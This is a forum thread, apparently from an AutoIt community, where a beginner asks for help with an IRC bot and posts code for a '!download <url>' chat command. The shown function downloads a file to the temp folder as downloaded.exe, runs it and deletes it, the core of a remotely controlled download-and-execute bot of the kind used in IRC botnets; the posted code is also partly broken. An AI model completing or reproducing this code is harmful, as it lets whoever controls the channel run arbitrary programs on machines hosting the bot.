Jump to content

Help with my IRC Bot


Recommended Posts

So I am new to autoit and sockets etc.. but im working on an IRC bot for my chatroom. I can have it connect and send messages but I do not understand how I can make it listen for commands on the socket level, please help ty :blink:

Link to comment
Share on other sites

I have a function called _DlFile that will download my file that I specify in the chatroom and open it. My command is !download <url>. I dont know how to specify the url (which is the second word in the command)

Func _DlFile()
    Local $hDownload = InetGet($urltodl, @TempDir & "\downloaded.exe", 1, 1)
Do
    Sleep(100)
    Until InetGetInfo($hDownload, 2) 
    InetClose($hDownload) 
    Run(@TempDir & "\downloaded.exe")
    FileDelete(@tempdir & "\downloaded.exe")
Endfunc

Func _Cmd($user, $channel, $msg)
    Local $sTemp = StringSplit($msg, " ")
    $sTemp[1] = StringTrimLeft($sTemp[1], 1)
    Switch StringUpper($sTemp[1])
    Case "download"
            _IRCSendMessage($sock, "ATTEMPTING DOWNLOAD.", $channel)
            _DlFile()
        Case "version"
            _IRCSendMessage($sock, "WPBOT V1.1", $channel)
    EndSwitch
EndFunc
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...